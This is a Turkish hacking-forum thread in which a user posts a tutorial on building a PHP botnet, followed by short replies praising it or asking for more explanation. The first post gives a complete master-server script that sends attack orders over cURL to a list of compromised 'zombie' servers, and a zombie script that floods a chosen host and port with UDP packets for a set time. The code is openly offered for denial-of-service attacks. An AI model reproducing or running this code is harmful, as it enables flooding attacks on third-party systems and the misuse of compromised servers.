İPUCU

Siber Güvenlik Siber Güvenlik ile alakalı araçların kullanımı, bilgi paylaşımı ve siber güvenlik eğitimi ile ilgili kaynakların paylaşıldığı alanımızdır.

Seçenekler

PHP ile Botnet Ağı yazmak

sah mat - ait Kullanıcı Resmi (Avatar)
Junior Pentester
Üyelik tarihi:
03/2019
Mesajlar:
99
Konular:
17
Teşekkür (Etti):
59
Teşekkür (Aldı):
25
Ticaret:
(0) %
19-03-2019 00:14
#1
PHP ile Botnet Ağı yazmak
Değerli As ve Üstlerim
Forumda genelde sıkıntı olan botnet ağını bu gün sizlere php dili ile yazmayı göstericem
Öncelikle botnet'leri yöneteceğimiz bir MASTER SERVER ve bu master sever tarafından yönetilen ZOMBİ SERVER'lar için ayrı ayrı kodlar yazalım
Zombi server'lar için yazacağımız kod master server'dan gelecek bir emir ile hedef sisteme saldırı yapack şekilde hazırda bekleye bir script oluşturacaktır

MASTER SERVER KODLARI
<?php
$zombies =[''1.1.1.1'', ''2.2.2.2'', ''hedefsite.com''];
$file_path = ''botnet/zombie.php'';
$trgt_host = $argv[1];
$trgt_port = $argv[2];
$exec_time = $argv[3];
$ch = curl_init();
foreach($zombies as $zombie){
curl_setopt($ch, CURLOPT_URL,
''https://''.$zombie.''/''.$file_path);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
''host=''.$trgt_host.''&port=''.$trgt_port.
''&exec_time=''.$exec_time);
curl_exec ($ch);
}
curl_close ($ch);
?>

YUKARIDA VERİLEN KODLARDAKİ İŞLEMLER
$zombies=Zombi server'laravbulştırmamız gereken birzdan yazacağımız scripti bulştırabileceğimiz server'ları dizi olark tutalım ve her yeni server'a bulaştırdığımızda push edelim
$target_path=değişkeninde ise zararlı script bulaştırdığımız server'lardaki zararlı script yolunu girdim
$trgt_host,$trgt_port ve $ exec_time=zombi server'ların saldırmasını istediğimiz hedef server IP ve PORT'unu ve saldırının ne kadar süreceğini girdiğimiz yerdir

Sonrasında cURL'ü başlatıp hemen ardından zombi server listemizi foreachile teker teker işleme sokuyoruz
Döngümüzün her adımındaki n.cURL ile saldırması gereken server IP adresi ve port'unun bildiriyor .Yani emir veriyor
Şimdi ise gelelim zombi server'da emirimizi bekleyecek scripte
<?php
$packets = 0;
$host = $_POST['host'];
$port = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['exec_time'];
$time = time();
print ''$host hostunun $port portuna <br><br>'';
$max _time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= ''X'';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(''udp://$host'', $port,
$errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo ''Saldırı ''.time('h:i:s').'' itibari ile
tamamlandı <br />'';
echo ''Toplam ''.$packets.'' adet '' .
round( ( $packets*65)/1024, 2) . '' mB boyutunda
paket gönderildi.<br />'';
echo ''Saniyede ortalama ''. round($packets/$exec_
time, 2) . ''paket gönderildi.<br />'';
?>

Şimdi ise bu scriptte ne yazdığını açıklayayım
$packets=Hesapları yapan değişkendir
$hostve$port=Değişkenleri ise IP adresi ve PORTUNU post metodu ile alıyoruz
set_time_limit=sayfanın çalışması gerektiği süreyi belirten fonksiyondur
ignore_user_abort=kullanıcı browserı kapatsa bile işleme devam eden fonksiyondur
$exec_time=saldırının ne kadar sürmesi gerektiğini alıyoruz
$max_time=saldırını ne zaman bitmesi gerektiğini kaydeden fonksiyon
fordöngüsü ile 65535adet büyük Xharfinin yan yana yazılı olduğu bir string oluşturup ,bu stringi $outdeğişkenine atıyoruz
while(true)=ile sonsuz döngümüzü başlatıyoruz
$fpdeğişkeninde ise fsockopen ile hedef sunucu portuna bir UDP bağlantısı açıyoruz ve önceden hazırlamış olduğumuz 65535 adet büyük X harfinde oluşan stringi gönderiyoruz
Konu Tamamen bana aittir yazım hatalarım olduysa affola
Emeğim çoktur
Bir teşekkürüde bana çok görmeyin
SAYGILARIMLA ŞahMat
---------------------
ARAMIZDAKİ EN KIDEMLİ DERBEDERE
ŞahMat
Konu sah mat tarafından (19-03-2019 11:19 Saat 11:19 ) değiştirilmiştir.
oxcakmak, teguardian Teşekkür etti.
oxcakmak - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2018
Nereden:
Kocaeli
Yaş:
20
Mesajlar:
1.366
Konular:
78
Teşekkür (Etti):
468
Teşekkür (Aldı):
140
Ticaret:
(0) %
19-03-2019 00:19
#2
İyi hoş yazdında buna giriş için de kullanıcının sayfaya girmesi lazım
---------------------
PHP / PDO - Back-End Developer - Full Open Source
sah mat - ait Kullanıcı Resmi (Avatar)
Junior Pentester
Üyelik tarihi:
03/2019
Mesajlar:
99
Konular:
17
Teşekkür (Etti):
59
Teşekkür (Aldı):
25
Ticaret:
(0) %
19-03-2019 00:21
#3
Komutanın ben araştırdım onun da anlatımı forumda var

SAYGILARIMLA ŞahMat
---------------------
ARAMIZDAKİ EN KIDEMLİ DERBEDERE
ŞahMat
MrTarget - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Mesajlar:
199
Konular:
28
Teşekkür (Etti):
42
Teşekkür (Aldı):
14
Ticaret:
(0) %
19-03-2019 00:30
#4
atladigin noktalar da olsa,araştırıp paylasimda bulunmuşsun.
Başarılarının devamını dilerim.
Konu THE HACKER 21 tarafından (19-03-2019 00:53 Saat 00:53 ) değiştirilmiştir.
sah mat - ait Kullanıcı Resmi (Avatar)
Junior Pentester
Üyelik tarihi:
03/2019
Mesajlar:
99
Konular:
17
Teşekkür (Etti):
59
Teşekkür (Aldı):
25
Ticaret:
(0) %
19-03-2019 00:33
#5
Hatalarımı söylerseniz hemen düzeltirim yanlış bilgi vermek istemem
SAYGILAR ŞahMat
---------------------
ARAMIZDAKİ EN KIDEMLİ DERBEDERE
ŞahMat
cakr1805 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2015
Mesajlar:
585
Konular:
37
Teşekkür (Etti):
70
Teşekkür (Aldı):
68
Ticaret:
(0) %
19-03-2019 05:17
#6
Daha açıklayıcı olabilirdi .
Konu PALA tarafından (19-03-2019 12:19 Saat 12:19 ) değiştirilmiştir.
teguardian - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
588
Konular:
17
Teşekkür (Etti):
80
Teşekkür (Aldı):
116
Ticaret:
(0) %
19-03-2019 11:19
#7
Yeni baslayanlar icin birazdaha aciklayici bir anlam kullanabilirdiniz,ancak yine de basarili bir paylasim olmus.Basarilar dilerim.
---------------------
“Bu Ülkeye 5 kuruş katkın yoksa 10 kuruşluk zarar Verme!”
Bir Hacker.

Eski Sosyal Medya Yöneticisi
femkefe - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2019
Nereden:
NEREYE...
Mesajlar:
231
Konular:
64
Teşekkür (Etti):
5
Teşekkür (Aldı):
27
Ticaret:
(0) %
22-04-2019 21:29
#8
direkt konuya girilmiş keşke biraz daha açıklayıcı olsaydı malum aramıza yeni katılanlar oluyor onlar için biraz daha açık olmamız lazım
iyi forumlar

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı